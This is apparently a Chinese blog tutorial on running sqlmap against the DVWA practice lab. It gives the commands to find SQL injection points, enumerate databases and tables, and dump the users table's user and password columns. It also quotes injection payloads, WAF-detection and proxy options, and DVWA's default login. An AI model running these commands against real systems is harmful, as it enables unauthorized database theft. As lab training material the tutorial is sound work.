sqlmap 对 DVWA 进行自动化 SQL 注入测试

✅ 什么是 SQLMap?

SQLMap 是一款开源的自动化 SQL 注入工具,支持检测并利用 SQL 注入漏洞,能自动执行数据库识别、数据提取、甚至执行系统命令等。

🧠 SQLMap 能干什么?

功能说明
自动识别注入点包括 GET、POST、Cookie、User-Agent、Referer
获取数据库名/表/字段/数据枚举和导出数据非常方便
支持多种 DBMS(数据库)MySQL、PostgreSQL、Oracle、MSSQL、SQLite、MariaDB 等
支持多种注入方式Boolean-based、Time-based、Error-based、UNION-based、Stacked queries 等
执行系统命令(RCE)当数据库权限高时
文件读写(通过 SQL 注入)支持读取写入服务器文件系统
支持 TOR、代理、WAF 绕过提供伪装和绕过机制
可与 BurpSuite 配合使用支持从 Burp 报文导入请求测试

🛠️ 常用命令实战

1. 基本检测

sqlmap -u "http://target.com/page.php?id=1" --batch

2. 指定 Cookie(如 DVWA)

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xxx; security=low" --batch

在这里插入图片描述
✅ 检测结果简明总结

  • 🎯 目标URL:http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
  • 🍪 使用 Cookie:PHPSESSID=…; security=low
  • 🧠 自动识别的注入类型:
注入类型描述
✅ Boolean-based blindid=1’ OR NOT 9933=9933#
✅ Error-basedFLOOR(RAND(0)*2) 类型爆错注入
✅ Time-based blindSLEEP(5) 延迟注入
✅ UNION query使用 2 列进行的联合查询注入
  • 💾 数据存储位置:/root/.local/share/sqlmap/output/localhost/

3. 查看当前数据库名

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
  --current-db

在这里插入图片描述

4. 查看所有数据库名

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
  --dbs

在这里插入图片描述

5. 查看某数据库的表

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
  -D dvwa --tables

在这里插入图片描述

6. 查看某表的字段

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
  -D dvwa -T users --columns --batch

在这里插入图片描述

7. 导出数据

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=tofeed8aue54ilrbvs0qdp0ga5; security=low" \
  -D dvwa -T users -C user,password --dump --batch

在这里插入图片描述

⚙️ 其他技巧

🔄 自动 URL 编码
SQLMap 会自动处理 URL 编码,所以你不用手动将 ’ 编成 %27。

💡 POST 请求注入

sqlmap -u "http://target.com/login.php" --data="username=admin&password=123" --batch

🔍 检测 WAF 防火墙

sqlmap -u "http://target.com/page.php?id=1" --identify-waf

🌐 设置代理或 TOR

sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

📁 输出路径
SQLMap 会将测试结果保存在:

~/.local/share/sqlmap/output/

🚨 注意事项

警告说明
未授权攻击违法请仅在授权范围内测试,如 DVWA、bwapp、测试靶场
可能引发服务崩溃尽量不要在生产环境或真实目标直接跑全参数
SQLMap 不是万能工具遇到 WAF、过滤器强的情况,需手工绕过或配合其他工具
### DVWA靶场中使用sqlmap进行SQL注入测试 DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试和学习的脆弱Web应用,它提供了多个漏洞场景,包括SQL注入。通过sqlmap工具可以对DVWA靶场进行自动化SQL注入测试,从而快速发现和利用SQL注入漏洞。 #### 基本步骤 1. **设置DVWA环境** DVWA的数据库配置通常如下: ```php $_DVWA[ 'db_server' ] = '127.0.0.1'; // 数据库地址 $_DVWA[ 'db_database' ] = 'dvwa'; // 数据库名称 $_DVWA[ 'db_user' ] = 'root'; // 数据库用户名 $_DVWA[ 'db_password' ] = 'root'; // 数据库密码 ``` 确保数据库服务正常运行,并且DVWA的配置文件指向正确的数据库信息[^4]。 2. **启动DVWA并登录** 在浏览器中访问DVWA的登录页面,默认用户名为`admin`,密码为`password`。登录后,将安全级别设置为`low`或`medium`,以便更容易进行SQL注入测试。 3. **获取Cookie信息** 在使用sqlmap进行测试时,需要提供会话Cookie以保持登录状态。可以通过浏览器的开发者工具查看当前会话的Cookie信息,例如: ``` security=low; PHPSESSID=nntokg4euk42c5cemkh41et470 ``` 4. **运行sqlmap命令** 使用sqlmapDVWASQL注入点进行测试时,可以使用如下命令: ```bash sqlmap.py -u "http://192.168.199.16/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=nntokg4euk42c5cemkh41et470; security=low" --data "id=1&Submit=Submit" ``` 这条命令指定了目标URL、Cookie以及POST请求中的数据内容[^2]。 5. **探测数据库信息** 如果确认存在SQL注入漏洞,可以进一步探测数据库信息。例如,获取数据库名称、表名和列名: ```bash sqlmap -u "http://192.168.199.16/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=nntokg4euk42c5cemkh41et470; security=low" --dbs ``` 6. **获取指定表和列的数据** 在确定数据库名称后,可以获取特定表和列的数据。例如,获取`dvwa`数据库中`users`表的`user`和`password`列: ```bash sqlmap -u "http://192.168.199.16/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=nntokg4euk42c5cemkh41et470; security=low" -D dvwa -T users -C user,password --dump ``` 这条命令会将`users`表中的`user`和`password`列的数据导出[^3]。 #### 注意事项 - **安全级别设置** DVWA提供了不同的安全级别(low、medium、high),不同级别的SQL注入漏洞防护机制不同。建议从`low`级别开始测试,逐步提高难度。 - **Cookie的有效性** 在使用sqlmap时,确保提供的Cookie信息是有效的,否则可能导致请求失败。 - **避免过度扫描** 在高安全级别下,DVWA可能会记录多次错误请求并阻止进一步的访问。因此,建议合理设置sqlmap的扫描参数,避免频繁触发安全机制。 - **合法性和道德规范** SQL注入测试应在合法授权的范围内进行,未经授权对系统进行攻击是违法行为。 ####
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值